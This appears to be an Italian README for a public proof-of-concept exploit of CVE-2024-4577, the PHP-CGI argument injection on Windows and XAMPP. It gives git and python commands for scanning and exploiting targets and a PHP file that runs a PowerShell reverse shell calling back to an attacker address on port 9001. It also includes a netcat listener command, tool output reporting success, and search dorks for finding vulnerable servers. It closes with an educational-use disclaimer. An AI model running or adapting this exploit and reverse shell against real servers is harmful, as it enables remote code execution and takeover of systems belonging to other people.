
Nelle versioni di PHP 8.1.* precedenti alla 8.1.29, 8.2.* precedenti alla 8.2.20 e 8.3.* precedenti alla 8.3.8, quando si utilizzano Apache e PHP-CGI su Windows, se il sistema è configurato per usare determinate code page, Windows può utilizzare il comportamento "Best-Fit" per sostituire i caratteri nella riga di comando passata alle funzioni API Win32. Il modulo PHP CGI potrebbe interpretare erroneamente questi caratteri come opzioni PHP, consentendo a un utente malintenzionato di passare opzioni al binario PHP in esecuzione, e quindi rivelare il codice sorgente degli script, eseguire codice PHP arbitrario sul server, ecc.
"XAMPP è vulnerabile in una configurazione predefinita, e possiamo prendere di mira l'endpoint /php-cgi/php-cgi.exe. Per colpire un endpoint .php sfruttabile (ad es. /index.php), il server deve essere configurato per eseguire script PHP in modalità CGI."
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
$ python3 CVE-2024-4577.py -s -t https://target.com/
[!NOTE] Questo strumento dimostra attacchi e tecniche realistici (TTP). Tuttavia, questo specifico esempio di payload non funziona in questo scenario. Modifica shell.php per ottenere un payload pienamente funzionante.
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Target https://target.com is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Exploit successful!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"Questo strumento è fornito solo a scopo educativo e di ricerca. Il creatore non si assume alcuna responsabilità per un uso improprio o per danni causati dallo strumento.